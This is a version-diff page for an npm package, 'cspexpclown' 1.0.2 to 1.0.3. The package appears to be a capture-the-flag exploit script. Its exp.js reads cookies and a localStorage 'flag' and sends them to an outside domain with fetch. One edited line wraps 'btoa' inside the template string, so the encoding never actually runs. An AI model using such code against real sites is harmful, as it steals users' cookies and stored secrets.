cspexpclown 1.0.2 → 1.0.3

Sign up to get free protection for your applications and to get access to all the features.
Files changed (2) hide show
  1. package/exp.js +2 -2
  2. package/package.json +1 -1
package/exp.js CHANGED
@@ -9,11 +9,11 @@
9
9
  const flag = localStorage.getItem('flag'); //因为从localStorage来set的,所以要这样获取
10
10
 
11
11
  // 发送GET请求并带上Cookie和flag
12
- const res = await fetch(`${domain}`, {
12
+ const res = await fetch(`${domain}+?flag=btoa(${flag})`, {
13
13
  method: "GET",
14
14
  headers: {
15
15
  "Cookie": cookies,
16
- "X-Flag": flag // 将 flag 添加到请求头中
16
+ "X-Flag": flag // 将 flag 添加到请求头中,呃呃带不出来
17
17
  },
18
18
  credentials: 'include' // 带上Cookie
19
19
  });
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "cspexpclown",
3
- "version": "1.0.2",
3
+ "version": "1.0.3",
4
4
  "description": "csp",
5
5
  "main": "index.js",
6
6
  "scripts": {